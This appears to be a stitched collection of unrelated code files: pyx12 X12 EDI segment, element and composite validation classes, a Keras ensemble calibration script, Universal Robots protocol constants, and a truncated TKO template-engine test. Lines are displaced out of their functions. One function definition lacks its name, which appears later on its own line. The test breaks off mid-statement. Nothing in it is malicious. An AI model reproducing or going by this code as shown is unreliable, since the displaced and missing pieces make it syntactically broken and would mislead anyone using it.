class segment_if(x12_node): """ Segment Interface """ def __init__(self, root, parent, elem): """ @param parent: parent node """ x12_node.__init__(self) self.root = root self.parent = parent self.children = [] #self.path = '' self.base_name = 'segment' self._cur_count = 0 self.syntax = [] self.id = elem.get('xid') self.path = self.id self.type = elem.get('type') self.name = elem.get( 'name') if elem.get('name') else elem.findtext('name') self.usage = elem.get( 'usage') if elem.get('usage') else elem.findtext('usage') self.pos = int(elem.get( 'pos')) if elem.get('pos') else int(elem.findtext('pos')) self.max_use = elem.get('max_use') if elem.get( 'max_use') else elem.findtext('max_use') self.repeat = elem.get('repeat') if elem.get( 'repeat') else elem.findtext('repeat') self.end_tag = elem.get('end_tag') if elem.get( 'end_tag') else elem.findtext('end_tag') for s in elem.findall('syntax'): syn_list = self._split_syntax(s.text) if syn_list is not None: self.syntax.append(syn_list) children_map = {} for e in elem.findall('element'): seq = int(e.get('seq')) if e.get('seq') else int(e.findtext('seq')) children_map[seq] = e #self.children.append(element_if(self.root, self, e)) for e in elem.findall('composite'): seq = int(e.get('seq')) if e.get('seq') else int(e.findtext('seq')) children_map[seq] = e #self.children.append(composite_if(self.root, self, e)) for seq in sorted(children_map.keys()): if children_map[seq].tag == 'element': self.children.append(element_if( self.root, self, children_map[seq])) elif children_map[seq].tag == 'composite': self.children.append(composite_if( self.root, self, children_map[seq])) def debug_print(self): sys.stdout.write(self.__repr__()) for node in self.children: node.debug_print() def __repr__(self): """ @rtype: string """ out = '%s "%s"' % (self.id, self.name) if self.usage: out += ' usage: %s' % (self.usage) if self.pos: out += ' pos: %i' % (self.pos) if self.max_use: out += ' max_use: %s' % (self.max_use) out += '\n' return out def get_child_node_by_idx(self, idx): """ @param idx: zero based """ if idx >= len(self.children): return None else: m = [c for c in self.children if c.seq == idx + 1] if len(m) == 1: return m[0] else: raise EngineError('idx %i not found in %s' % (idx, self.id)) def get_child_node_by_ordinal(self, ord): """ Get a child element or composite by the X12 ordinal @param ord: one based element/composite index. Corresponds to the map <seq> element @type ord: int """ return self.get_child_node_by_idx(ord - 1) def getnodebypath2(self, path_str): """ Try x12 path @param path_str: remaining path to match @type path_str: string @return: matching node, or None is no match """ x12path = path.X12Path(path_str) if x12path.empty(): return None if x12path.ele_idx is None: return self # matched segment only ele = self.get_child_node_by_ordinal(x12path.ele_idx) if x12path.subele_idx is None: return ele return ele.get_child_node_by_ordinal(x12path.subele_idx) raise EngineError('getnodebypath2 failed. Path "%s" not found' % path_str) def get_max_repeat(self): if self.max_use is None or self.max_use == '>1': return MAXINT return int(self.max_use) def get_parent(self): """ @return: ref to parent class instance @rtype: pyx12.x12_node """ return self.parent def is_first_seg_in_loop(self): """ @rtype: boolean """ if self is self.get_parent().get_first_seg(): return True else: return False def is_match(self, seg): """ Is data segment given a match to this segment node? @param seg: data segment instance @return: boolean @rtype: boolean """ if seg.get_seg_id() == self.id: if self.children[0].is_element() \ and self.children[0].get_data_type() == 'ID' \ and self.children[0].usage == 'R' \ and len(self.children[0].valid_codes) > 0 \ and seg.get_value('01') not in self.children[0].valid_codes: #logger.debug('is_match: %s %s' % (seg.get_seg_id(), seg[1]), self.children[0].valid_codes) return False # Special Case for 820 elif seg.get_seg_id() == 'ENT' \ and self.children[1].is_element() \ and self.children[1].get_data_type() == 'ID' \ and len(self.children[1].valid_codes) > 0 \ and seg.get_value('02') not in self.children[1].valid_codes: #logger.debug('is_match: %s %s' % (seg.get_seg_id(), seg[1]), self.children[0].valid_codes) return False # Special Case for 999 CTX # IG defines the dataelement 2100/CT01-1 as an AN, but acts like an ID elif seg.get_seg_id() == 'CTX' \ and self.children[0].is_composite() \ and self.children[0].children[0].get_data_type() == 'AN' \ and len(self.children[0].children[0].valid_codes) > 0 \ and seg.get_value('01-1') not in self.children[0].children[0].valid_codes: return False elif self.children[0].is_composite() \ and self.children[0].children[0].get_data_type() == 'ID' \ and len(self.children[0].children[0].valid_codes) > 0 \ and seg.get_value('01-1') not in self.children[0].children[0].valid_codes: return False elif seg.get_seg_id() == 'HL' and self.children[2].is_element() \ and len(self.children[2].valid_codes) > 0 \ and seg.get_value('03') not in self.children[2].valid_codes: return False else: return True else: return False def is_match_qual(self, seg_data, seg_id, qual_code): """ Is segment id and qualifier a match to this segment node and to this particular segment data? @param seg_data: data segment instance @type seg_data: L{segment<segment.Segment>} @param seg_id: data segment ID @param qual_code: an ID qualifier code @return: (True if a match, qual_code, element_index, subelement_index) @rtype: tuple(boolean, string, int, int) """ if seg_id == self.id: if qual_code is None: return (True, None, None, None) elif self.children[0].is_element() \ and self.children[0].get_data_type() == 'ID' \ and self.children[0].usage == 'R' \ and len(self.children[0].valid_codes) > 0: if qual_code in self.children[0].valid_codes and seg_data.get_value('01') == qual_code: return (True, qual_code, 1, None) else: return (False, None, None, None) # Special Case for 820 elif seg_id == 'ENT' \ and self.children[1].is_element() \ and self.children[1].get_data_type() == 'ID' \ and len(self.children[1].valid_codes) > 0: if qual_code in self.children[1].valid_codes and seg_data.get_value('02') == qual_code: return (True, qual_code, 2, None) else: return (False, None, None, None) elif self.children[0].is_composite() \ and self.children[0].children[0].get_data_type() == 'ID' \ and len(self.children[0].children[0].valid_codes) > 0: if qual_code in self.children[0].children[0].valid_codes and seg_data.get_value('01-1') == qual_code: return (True, qual_code, 1, 1) else: return (False, None, None, None) elif seg_id == 'HL' and self.children[2].is_element() \ and len(self.children[2].valid_codes) > 0: if qual_code in self.children[2].valid_codes and seg_data.get_value('03') == qual_code: return (True, qual_code, 3, None) else: return (False, None, None, None) else: return (True, None, None, None) else: return (False, None, None, None) def guess_unique_key_id_element(self): """ Some segments, like REF, DTP, and DTP are duplicated. They are matched using the value of an ID element. Which element to use varies. This function tries to find a good candidate. """ if self.children[0].is_element() and self.children[0].get_data_type() == 'ID' and len(self.children[0].valid_codes) > 0: return self.children[0] # Special Case for 820 elif self.id == 'ENT' and self.children[1].is_element() and self.children[1].get_data_type() == 'ID' and len(self.children[1].valid_codes) > 0: return self.children[1] elif self.children[0].is_composite() and self.children[0].children[0].get_data_type() == 'ID' and len(self.children[0].children[0].valid_codes) > 0: return self.children[0].children[0] elif self.id == 'HL' and self.children[2].is_element() and len(self.children[2].valid_codes) > 0: return self.children[2] return None def get_unique_key_id_element(self, id_val): """ Some segments, like REF, DTP, and DTP are duplicated. They are matched using the value of an ID element. Which element to use varies. This function tries to find a good candidate, using a key value """ if self.children[0].is_element() and self.children[0].get_data_type() == 'ID' \ and len(self.children[0].valid_codes) > 0 and id_val in self.children[0].valid_codes: return self.children[0] # Special Case for 820 elif self.id == 'ENT' and self.children[1].is_element() and self.children[1].get_data_type() == 'ID' \ and len(self.children[1].valid_codes) > 0 and id_val in self.children[1].valid_codes: return self.children[1] elif self.children[0].is_composite() and self.children[0].children[0].get_data_type() == 'ID' \ and len(self.children[0].children[0].valid_codes) > 0 and id_val in self.children[0].children[0].valid_codes: return self.children[0].children[0] elif self.id == 'HL' and self.children[2].is_element() and len(self.children[2].valid_codes) > 0 and id_val in self.children[2].valid_codes: return self.children[2] return None def is_segment(self): """ @rtype: boolean """ return True def is_valid(self, seg_data, errh): """ @param seg_data: data segment instance @type seg_data: L{segment<segment.Segment>} @param errh: instance of error_handler @rtype: boolean """ valid = True child_count = self.get_child_count() if len(seg_data) > child_count: #child_node = self.get_child_node_by_idx(child_count+1) err_str = 'Too many elements in segment "%s" (%s). Has %i, should have %i' % \ (self.name, seg_data.get_seg_id(), len(seg_data), child_count) #self.logger.error(err_str) ref_des = '%02i' % (child_count + 1) err_value = seg_data.get_value(ref_des) errh.ele_error('3', err_str, err_value, ref_des) valid = False dtype = [] type_list = [] for i in range(min(len(seg_data), child_count)): #self.logger.debug('i=%i, len(seg_data)=%i / child_count=%i' % \ # (i, len(seg_data), self.get_child_count())) child_node = self.get_child_node_by_idx(i) if child_node.is_composite(): # Validate composite ref_des = '%02i' % (i + 1) comp_data = seg_data.get(ref_des) subele_count = child_node.get_child_count() if seg_data.ele_len(ref_des) > subele_count and child_node.usage != 'N': subele_node = child_node.get_child_node_by_idx( subele_count + 1) err_str = 'Too many sub-elements in composite "%s" (%s)' % \ (subele_node.name, subele_node.refdes) err_value = seg_data.get_value(ref_des) errh.ele_error('3', err_str, err_value, ref_des) valid &= child_node.is_valid(comp_data, errh) elif child_node.is_element(): # Validate Element if i == 1 and seg_data.get_seg_id() == 'DTP' \ and seg_data.get_value('02') in ('RD8', 'D8', 'D6', 'DT', 'TM'): dtype = [seg_data.get_value('02')] if child_node.data_ele == '1250': type_list.extend(child_node.valid_codes) ele_data = seg_data.get('%02i' % (i + 1)) if i == 2 and seg_data.get_seg_id() == 'DTP': valid &= child_node.is_valid(ele_data, errh, dtype) elif child_node.data_ele == '1251' and len(type_list) > 0: valid &= child_node.is_valid(ele_data, errh, type_list) else: valid &= child_node.is_valid(ele_data, errh) for i in range(min(len(seg_data), child_count), child_count): #missing required elements? child_node = self.get_child_node_by_idx(i) valid &= child_node.is_valid(None, errh) for syn in self.syntax: (bResult, err_str) = is_syntax_valid(seg_data, syn) if not bResult: syn_type = syn[0] if syn_type == 'E': errh.ele_error('10', err_str, None, syn[1]) else: errh.ele_error('2', err_str, None, syn[1]) valid &= False return valid def _split_syntax(self, syntax): """ Split a Syntax string into a list """ if syntax[0] not in ['P', 'R', 'C', 'L', 'E']: #self.logger.error('Syntax %s is not valid' % (syntax)) return None syn = [syntax[0]] for i in range(len(syntax[1:]) // 2): syn.append(int(syntax[i * 2 + 1:i * 2 + 3])) return syn def get_cur_count(self): """ @return: current count @rtype: int """ raise DeprecationWarning('Moved to nodeCounter') return self._cur_count def incr_cur_count(self): raise DeprecationWarning('Moved to nodeCounter') self._cur_count += 1 def reset_cur_count(self): """ Set cur_count of node to zero """ raise DeprecationWarning('Moved to nodeCounter') self._cur_count = 0 def set_cur_count(self, ct): raise DeprecationWarning('Moved to nodeCounter') self._cur_count = ct def get_counts_list(self, ct_list): """ Build a list of (path, ct) of the current node and parents Gets the node counts to apply to another map @param ct_list: List to append to @type ct_list: list[(string, int)] """ raise DeprecationWarning('Moved to nodeCounter') my_ct = (self.get_path(), self._cur_count) ct_list.append(my_ct) if not self.parent.is_map_root(): self.parent.get_counts_list(ct_list) return True def loop_segment_iterator(self): yield self ############################################################ # Element Interface ############################################################ class element_if(x12_node): """ Element Interface """ def __init__(self, root, parent, elem): """ @param parent: parent node """ x12_node.__init__(self) self.children = [] self.root = root self.parent = parent self.base_name = 'element' self.valid_codes = [] self.external_codes = None self.rec = None self.id = elem.get('xid') self.refdes = self.id self.data_ele = elem.get('data_ele') if elem.get( 'data_ele') else elem.findtext('data_ele') self.usage = elem.get( 'usage') if elem.get('usage') else elem.findtext('usage') self.name = elem.get( 'name') if elem.get('name') else elem.findtext('name') self.seq = int(elem.get( 'seq')) if elem.get('seq') else int(elem.findtext('seq')) self.path = elem.get( 'seq') if elem.get('seq') else elem.findtext('seq') self.max_use = elem.get('max_use') if elem.get( 'max_use') else elem.findtext('max_use') self.res = elem.findtext('regex') try: if self.res is not None and self.res != '': self.rec = re.compile(self.res, re.S) except Exception: raise EngineError('Element regex "%s" failed to compile' % (self.res)) v = elem.find('valid_codes') if v is not None: self.external_codes = v.get('external') for c in v.findall('code'): self.valid_codes.append(c.text) def debug_print(self): sys.stdout.write(self.__repr__()) for node in self.children: node.debug_print() def __repr__(self): """ @rtype: string """ data_ele = self.root.data_elements.get_by_elem_num(self.data_ele) out = '%s "%s"' % (self.refdes, self.name) if self.data_ele: out += ' data_ele: %s' % (self.data_ele) if self.usage: out += ' usage: %s' % (self.usage) if self.seq: out += ' seq: %i' % (self.seq) out += ' %s(%i, %i)' % (data_ele['data_type'], data_ele[ 'min_len'], data_ele['max_len']) if self.external_codes: out += ' external codes: %s' % (self.external_codes) out += '\n' return out # def __del__(self): # pass def _error(self, errh, err_str, err_cde, elem_val): """ Forward the error to an error_handler """ errh.ele_error(err_cde, err_str, elem_val, self.refdes) # pos=self.seq, data_ele=self.data_ele) def _valid_code(self, code): """ Verify the x12 element value is in the given list of valid codes @return: True if found, else False @rtype: boolean """ #if not self.valid_codes: # return True if code in self.valid_codes: return True return False def get_parent(self): """ @return: ref to parent class instance """ return self.parent def is_match(self): """ @return: @rtype: boolean """ # match also by ID raise NotImplementedError('Override in sub-class') #return False def is_valid(self, elem, errh, type_list=[]): """ Is this a valid element? @param elem: element instance @type elem: L{element<segment.Element>} @param errh: instance of error_handler @param check_dte: date string to check against (YYYYMMDD) @param type_list: Optional data/time type list @type type_list: list[string] @return: True if valid @rtype: boolean """ errh.add_ele(self) if elem and elem.is_composite(): err_str = 'Data element "%s" (%s) is an invalid composite' % \ (self.name, self.refdes) self._error(errh, err_str, '6', elem.__repr__()) return False if elem is None or elem.get_value() == '': if self.usage in ('N', 'S'): return True elif self.usage == 'R': if self.seq != 1 or not self.parent.is_composite() or self.parent.usage == 'R': err_str = 'Mandatory data element "%s" (%s) is missing' % ( self.name, self.refdes) self._error(errh, err_str, '1', None) return False else: return True if self.usage == 'N' and elem.get_value() != '': err_str = 'Data element "%s" (%s) is marked as Not Used' % ( self.name, self.refdes) self._error(errh, err_str, '10', None) return False elem_val = elem.get_value() data_ele = self.root.data_elements.get_by_elem_num(self.data_ele) data_type = data_ele['data_type'] min_len = data_ele['min_len'] max_len = data_ele['max_len'] valid = True # Validate based on data_elem_num # Then, validate on more specific criteria if (not data_type is None) and (data_type == 'R' or data_type[0] == 'N'): elem_strip = elem_val.replace('-', '').replace('.', '') elem_len = len(elem_strip) if len(elem_strip) < min_len: err_str = 'Data element "%s" (%s) is too short: len("%s") = %i < %i (min_len)' % \ (self.name, self.refdes, elem_val, elem_len, min_len) self._error(errh, err_str, '4', elem_val) valid = False if len(elem_strip) > max_len: err_str = 'Data element "%s" (%s) is too long: len("%s") = %i > %i (max_len)' % \ (self.name, self.refdes, elem_val, elem_len, max_len) self._error(errh, err_str, '5', elem_val) valid = False else: elem_len = len(elem_val) if len(elem_val) < min_len: err_str = 'Data element "%s" (%s) is too short: len("%s") = %i < %i (min_len)' % \ (self.name, self.refdes, elem_val, elem_len, min_len) self._error(errh, err_str, '4', elem_val) valid = False if len(elem_val) > max_len: err_str = 'Data element "%s" (%s) is too long: len("%s") = %i > %i (max_len)' % \ (self.name, self.refdes, elem_val, elem_len, max_len) self._error(errh, err_str, '5', elem_val) valid = False (res, bad_string) = validation.contains_control_character(elem_val) if res: err_str = 'Data element "%s" (%s), contains an invalid control character(%s)' % \ (self.name, self.refdes, bad_string) self._error(errh, err_str, '6', bad_string) return False # skip following checks, control character errors trump all if data_type in ['AN', 'ID'] and elem_val[-1] == ' ': if len(elem_val.rstrip()) >= min_len: err_str = 'Data element "%s" (%s) has unnecessary trailing spaces. (%s)' % \ (self.name, self.refdes, elem_val) self._error(errh, err_str, '6', elem_val) valid = False if not self._is_valid_code(elem_val, errh): valid = False if not validation.IsValidDataType(elem_val, data_type, self.root.param.get('charset'), self.root.icvn): if data_type in ('RD8', 'DT', 'D8', 'D6'): err_str = 'Data element "%s" (%s) contains an invalid date (%s)' % \ (self.name, self.refdes, elem_val) self._error(errh, err_str, '8', elem_val) valid = False elif data_type == 'TM': err_str = 'Data element "%s" (%s) contains an invalid time (%s)' % \ (self.name, self.refdes, elem_val) self._error(errh, err_str, '9', elem_val) valid = False else: err_str = 'Data element "%s" (%s) is type %s, contains an invalid character(%s)' % \ (self.name, self.refdes, data_type, elem_val) self._error(errh, err_str, '6', elem_val) valid = False if len(type_list) > 0: valid_type = False for dtype in type_list: valid_type |= validation.IsValidDataType(elem_val, dtype, self.root.param.get('charset')) if not valid_type: if 'TM' in type_list: err_str = 'Data element "%s" (%s) contains an invalid time (%s)' % \ (self.name, self.refdes, elem_val) self._error(errh, err_str, '9', elem_val) elif 'RD8' in type_list or 'DT' in type_list or 'D8' in type_list or 'D6' in type_list: err_str = 'Data element "%s" (%s) contains an invalid date (%s)' % \ (self.name, self.refdes, elem_val) self._error(errh, err_str, '8', elem_val) valid = False if self.rec: m = self.rec.search(elem_val) if not m: err_str = 'Data element "%s" with a value of (%s)' % \ (self.name, elem_val) err_str += ' failed to match the regular expression "%s"' % ( self.res) self._error(errh, err_str, '7', elem_val) valid = False return valid def _is_valid_code(self, elem_val, errh): """ @rtype: boolean """ bValidCode = False if len(self.valid_codes) == 0 and self.external_codes is None: bValidCode = True if elem_val in self.valid_codes: bValidCode = True if self.external_codes is not None and \ self.root.ext_codes.isValid(self.external_codes, elem_val): bValidCode = True if not bValidCode: err_str = '(%s) is not a valid code for %s (%s)' % ( elem_val, self.name, self.refdes) self._error(errh, err_str, '7', elem_val) return False return True def get_data_type(self): """ """ data_ele = self.root.data_elements.get_by_elem_num(self.data_ele) return data_ele['data_type'] @property def data_type(self): data_ele = self.root.data_elements.get_by_elem_num(self.data_ele) return data_ele['data_type'] @property def min_len(self): data_ele = self.root.data_elements.get_by_elem_num(self.data_ele) return data_ele['min_len'] @property def max_len(self): data_ele = self.root.data_elements.get_by_elem_num(self.data_ele) return data_ele['max_len'] @property def data_element_name(self): data_ele = self.root.data_elements.get_by_elem_num(self.data_ele) return data_ele['name'] def get_seg_count(self): """ """ pass def is_element(self): """ @rtype: boolean """ return True def get_path(self): """ @return: path - XPath style @rtype: string """ if self._fullpath: return self._fullpath #get enclosing loop parent_path = self.get_parent_segment().parent.get_path() # add the segment, element, and sub-element path self._fullpath = parent_path + '/' + self.id return self._fullpath def get_parent_segment(self): # pop to enclosing loop p = self.parent while not p.is_segment(): p = p.parent return p ############################################################ # Composite Interface ############################################################ class composite_if(x12_node): """ Composite Node Interface """ def __init__(self, root, parent, elem): """ Get the values for this composite @param parent: parent node """ x12_node.__init__(self) self.children = [] self.root = root self.parent = parent self.path = '' self.base_name = 'composite' self.id = elem.get('xid') self.refdes = elem.findtext( 'refdes') if elem.findtext('refdes') else self.id self.data_ele = elem.get('data_ele') if elem.get( 'data_ele') else elem.findtext('data_ele') self.usage = elem.get( 'usage') if elem.get('usage') else elem.findtext('usage') self.seq = int(elem.get( 'seq')) if elem.get('seq') else int(elem.findtext('seq')) self.repeat = int(elem.get('repeat')) if elem.get('repeat') else int( elem.findtext('repeat')) if elem.findtext('repeat') else 1 self.name = elem.get( 'name') if elem.get('name') else elem.findtext('name') for e in elem.findall('element'): self.children.append(element_if(self.root, self, e)) def _error(self, errh, err_str, err_cde, elem_val): """ Forward the error to an error_handler """ err_str2 = err_str.replace('\n', '').replace('\r', '')
errh.ele_error(err_cde, err_str2, elem_val2, self.refdes) #, pos=self.seq, data_ele=self.data_ele) def debug_print(self): sys.stdout.write(self.__repr__()) for node in self.children: node.debug_print() def __repr__(self): """ @rtype: string """ out = '%s "%s"' % (self.id, self.name) if self.usage: out += ' usage %s' % (self.usage) if self.seq: out += ' seq %i' % (self.seq) if self.refdes: out += ' refdes %s' % (self.refdes) out += '\n' return out def xml(self): """ Sends an xml representation of the composite to stdout """ sys.stdout.write('<composite>\n') for sub_elem in self.children: sub_elem.xml() sys.stdout.write('</composite>\n') def is_valid(self, comp_data, errh): """ Validates the composite @param comp_data: data composite instance, has multiple values @param errh: instance of error_handler @rtype: boolean """ valid = True if (comp_data is None or comp_data.is_empty()) and self.usage in ('N', 'S'): return True if self.usage == 'R': good_flag = False for sub_ele in comp_data: if sub_ele is not None and len(sub_ele.get_value()) > 0: good_flag = True break if not good_flag: err_str = 'At least one component of composite "%s" (%s) is required' % \ (self.name, self.refdes) errh.ele_error('2', err_str, None, self.refdes) return False if self.usage == 'N' and not comp_data.is_empty(): err_str = 'Composite "%s" (%s) is marked as Not Used' % ( self.name, self.refdes) errh.ele_error('5', err_str, None, self.refdes) return False if len(comp_data) > self.get_child_count(): err_str = 'Too many sub-elements in composite "%s" (%s)' % ( self.name, self.refdes) errh.ele_error('3', err_str, None, self.refdes) valid = False for i in range(min(len(comp_data), self.get_child_count())): valid &= self.get_child_node_by_idx(i).is_valid(comp_data[i], errh) for i in range(min(len(comp_data), self.get_child_count()), self.get_child_count()): if i < self.get_child_count(): #Check missing required elements valid &= self.get_child_node_by_idx(i).is_valid(None, errh) return valid def is_composite(self): """ @rtype: boolean """ return True def load_map_file(map_file, param, map_path=None): """ Create the map object from a file @param map_file: absolute path for file @type map_file: string @rtype: pyx12.map_if @param map_path: Override directory containing map xml files. If None, uses package resource folder @type map_path: string """ logger = logging.getLogger('pyx12') if map_path is not None: logger.debug("Looking for map file '{}' in map_path '{}'".format(map_file, map_path)) if not os.path.isdir(map_path): raise OSError(2, "Map path does not exist", map_path) if not os.path.isdir(map_path): raise OSError(2, "Pyx12 map file '{}' does not exist in map path".format(map_file), map_path) map_fd = open(os.path.join(map_path, map_file)) else: logger.debug("Looking for map file '{}' in pkg_resources".format(map_file)) map_fd = resource_stream(__name__, os.path.join('map', map_file)) imap = None try: logger.debug('Create map from %s' % (map_file)) #etree = et.parse(map_fd) parser = et.XMLParser(encoding="utf-8") etree = et.parse(map_fd, parser=parser) imap = map_if(etree.getroot(), param, map_path) except AssertionError: logger.error('Load of map file failed: %s' % (map_file)) raise except Exception: raise #raise EngineError('Load of map file failed: %s' % (map_file)) map_fd.close() return imap
elem_val2 = elem_val.replace('\n', '').replace('\r', '')
evaluate_calibration.py
import numpy as np import h5py import pandas as pd from svhn_io import load_svhn from keras_uncertainty.utils import classifier_calibration_curve, classifier_calibration_error EPSILON = 1e-10 def
(filename): inp = h5py.File(filename, "r") preds = inp["preds"][...] inp.close() return preds NUM_ENSEMBLES = 15 NUM_BINS=7 #IOD_FILE_PATTERN = "cnn_svhn-num_ens-{}-preds.hdf5" #OUTPUT_PATTERN = "svhn-calibration-sub-deepensembles_1_num-ens-{}_cnn_svhn.csv" IOD_FILE_PATTERN = "deepensembles-cnn_svhn-num_ens-{}-preds.hdf5" OUTPUT_PATTERN = "svhn-calibration-deepensembles-num-ens-{}_cnn_svhn.csv" if __name__ == "__main__": for num_ens in range(1, NUM_ENSEMBLES + 1): (_, __), (___, y_true) = load_svhn() y_true = y_true.flatten() y_probs = load_hdf5_data(IOD_FILE_PATTERN.format(num_ens)) y_confs = np.max(y_probs, axis=1) y_pred = np.argmax(y_probs, axis=1) curve_conf, curve_acc = classifier_calibration_curve(y_pred, y_true, y_confs, num_bins=NUM_BINS) error = classifier_calibration_error(y_pred, y_true, y_confs, num_bins=NUM_BINS) print("Processing calibration curve for {} ensembles. Error: {}".format(num_ens, error)) output_df = pd.DataFrame(data={"conf": curve_conf, "acc": curve_acc}) output_df.to_csv(OUTPUT_PATTERN.format(num_ens), sep=';', index=False)
load_hdf5_data
constants.py
################################################################################################################################ ## constants.py ## Contains various constants and defaults used both on the urscript side and the python side ## The defaults can be oveeriden when calling utils.load_script, by including them in the defs hashtable. ################################################################################################################################ UR_ZERO = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0] UR_STATE_ENTRIES_COUNT = 72 # This is how many numbers we expect to receive with every response UR_PROTOCOL_VERSION = 0.1 # Possible types of commands UR_CMD_KIND_ESTOP = 0 UR_CMD_KIND_MOVE_JOINT_SPEEDS = 1 # Accelerate to and maintain the specified speed UR_CMD_KIND_MOVE_TOOL_POSE = 2 # Move towards an absolute goal position expressed as a tool pose. UR_CMD_KIND_MOVE_JOINT_POSITIONS = 3 # Move towards an absolute goal position expressed in joint angles. UR_CMD_KIND_MOVE_TOOL_LINEAR = 4 # Move in a straight line towards an absolute goal position expressed as a tool pose. UR_CMD_KIND_READ = 8 UR_CMD_KIND_CONFIG = 9 UR_CMD_KIND_IK_QUERY = 10 UR_CMD_KIND_INVALID = 11 # Command field indices UR_CMD_ID = 0 UR_CMD_KIND = 1 UR_CMD_CONFIG_MASS = 2 UR_CMD_CONFIG_TOOL_COG = [3, 6] UR_CMD_CONFIG_TOOL_TIP = [6, 12] UR_CMD_MOVE_TARGET = [2, 8] UR_CMD_MOVE_MAX_SPEED = 8 UR_CMD_MOVE_MAX_ACCELERATION = 9 UR_CMD_MOVE_FORCE_LOW_BOUND = [10, 16] UR_CMD_MOVE_FORCE_HIGH_BOUND = [16, 22] UR_CMD_MOVE_CONTACT_HANDLING = 22 UR_CMD_MOVE_CONTROLLER = 23 UR_CMD_ENTRIES_COUNT = 24 # This is how many floats we expect with each command (not including the count prefix). Needs to stay under 30 (UR restriction). # State field indices UR_STATE_TIME = 0 UR_STATE_CMD_ID = 1 UR_STATE_STATUS = 2 UR_STATE_JOINT_POSITIONS = [3, 9]
UR_STATE_JOINT_SPEEDS = [9, 15] UR_STATE_TOOL_POSE = [15, 21] UR_STATE_TOOL_SPEED = [21, 27] UR_STATE_TARGET_JOINT_POSITIONS = [27, 33] UR_STATE_TARGET_JOINT_SPEEDS = [33, 39] UR_STATE_TARGET_TOOL_POSE = [39, 45] UR_STATE_TARGET_TOOL_SPEED = [45, 51] UR_STATE_JOINT_TORQUES = [51, 57] UR_STATE_TOOL_FORCE = [57, 63] UR_STATE_TOOL_ACCELERATION = [63, 66] UR_STATE_SENSOR_FORCE = [66, 72] # status bits UR_STATUS_FLAG_MOVING = 1 UR_STATUS_FLAG_CONTACT = 2 UR_STATUS_FLAG_DEADMAN = 4 UR_STATUS_FLAG_RESERVED = 8 UR_STATUS_FLAG_DONE = 16 UR_STATUS_FLAG_GOAL_REACHED = 32 ################################################################################################################################ ## Default values ################################################################################################################################ # robot settings UR_DEFAULT_MASS = 3.25 UR_DEFAULT_TOOL_COG = [0, 0, 0.12] UR_DEFAULT_TCP = [0, 0, 0.12, 0, 0, 0] # control UR_TIME_SLICE = 1./125 # by default, use the CB2 version. UR_SPEED_TOLERANCE = 0.05 # rad/s UR_SPEED_NORM_ZERO = 0.05 # rad/s UR_JOINTS_POSITION_TOLERANCE = 0.001 # rad UR_TOOL_POSITION_TOLERANCE = 0.001 # m UR_TOOL_ROTATION_TOLERANCE = 0.001 # rad UR_DEADMAN_SWITCH_LIMIT = 0.1 # seconds UR_EPSILON = 0.00001 UR_DEFAULT_FORCE_LOW_BOUND = [-20.0, -20.0, -20.0, -2, -2, -2] UR_DEFAULT_FORCE_HIGH_BOUND = [20.0, 20.0, 20.0, 2, 2, 2] UR_FORCE_IGNORE_HIGH = [1000, 1000, 1000, 100, 100, 100] UR_FORCE_IGNORE_LOW = [-1000, -1000, -1000, -100, -100, -100] UR_DEFAULT_ACCELERATION = 0.1 # rad/s2 UR_FAST_STOP_ACCELERATION = 3.0 # rad/s2 UR_DEFAULT_MAX_SPEED = 0.1 # rad/s # interface / protocol UR_RT_PORT = 30003 # real-time UR interface (RT) UR_ROBOT_IP = "192.168.1.2" UR_DEFAULT_CLIENT_IP = "192.168.1.9" UR_DEFAULT_CLIENT_PORT = 50003 UR_ROBOT_VERSION_CB2 = 0 UR_ROBOT_VERSION_ESERIES = 2 UR_ROBOT_VERSION = UR_ROBOT_VERSION_CB2 # these need to be defined outside, e.g. through the defs parameter of utils.load_script() #UR_CLIENT_IP #UR_CLIENT_PORT # URScript-compatible slicing function def s_(vec, bounds, start): s = bounds[0] + start cnt = bounds[1] - bounds[0] if cnt == 3: return [vec[s], vec[s + 1], vec[s + 2]] elif cnt == 6: return [vec[s], vec[s + 1], vec[s + 2], vec[s + 3], vec[s + 4], vec[s + 5]] #ur:end #ur:end
nativeTemplateEngineBehaviors.ts
/* global testNode */ import { applyBindings } from '@tko/bind' import { observable, observableArray } from '@tko/observable' import { DataBindProvider } from '@tko/provider.databind' import { options } from '@tko/utils' import { bindings as templateBindings, renderTemplate, anonymousTemplate } from '../dist' import { bindings as coreBindings } from '@tko/binding.core' import '@tko/utils/helpers/jasmine-13-helper' describe('Native template engine', function () { function ensureNodeExistsAndIsEmpty (id, tagName, type) { var existingNode = document.getElementById(id) if (existingNode != null) { existingNode.parentNode.removeChild(existingNode) } var resultNode = document.createElement(tagName || 'div') resultNode.id = id if (type) { resultNode.setAttribute('type', type) } document.body.appendChild(resultNode) return resultNode } beforeEach(jasmine.prepareTestNode) beforeEach(function () { var provider = new DataBindProvider() options.bindingProviderInstance = provider provider.bindingHandlers.set(coreBindings) provider.bindingHandlers.set(templateBindings) }) describe('Named templates', function () { function testRenderTemplate (templateElem, templateElemId, templateElementProp) { templateElementProp || (templateElementProp = 'innerHTML') templateElem[templateElementProp] = "name: <div data-bind='text: name'></div>" renderTemplate(templateElemId, { name: 'bert' }, null, testNode) expect(testNode).toContainHtml('name: <div data-bind="text: name">bert</div>') // A second render also works renderTemplate(templateElemId, { name: 'tom' }, null, testNode) expect(testNode).toContainHtml('name: <div data-bind="text: name">tom</div>') // A change to the element contents is picked up templateElem[templateElementProp] = "welcome <div data-bind='text: name'></div>" renderTemplate(templateElemId, { name: 'dave' }, null, testNode) expect(testNode).toContainHtml('welcome <div data-bind="text: name">dave</div>') } it('can display static content from regular DOM element', function () { var testDivTemplate = ensureNodeExistsAndIsEmpty('testDivTemplate') testDivTemplate.innerHTML = 'this is some static content' renderTemplate('testDivTemplate', null, null, testNode) expect(testNode).toContainHtml('this is some static content') }) it('can fetch template from regular DOM element and data-bind on results', function () { var testDivTemplate = ensureNodeExistsAndIsEmpty('testDivTemplate') testRenderTemplate(testDivTemplate, 'testDivTemplate') }) it('can fetch template from <script> elements and data-bind on results', function () { var testScriptTemplate = ensureNodeExistsAndIsEmpty('testScriptTemplate', 'script', 'text/html') testRenderTemplate(testScriptTemplate, 'testScriptTemplate', 'text') }) it('can fetch template from <textarea> elements and data-bind on results', function () { var testTextAreaTemplate = ensureNodeExistsAndIsEmpty('testTextAreaTemplate', 'textarea'), prop = 'value'
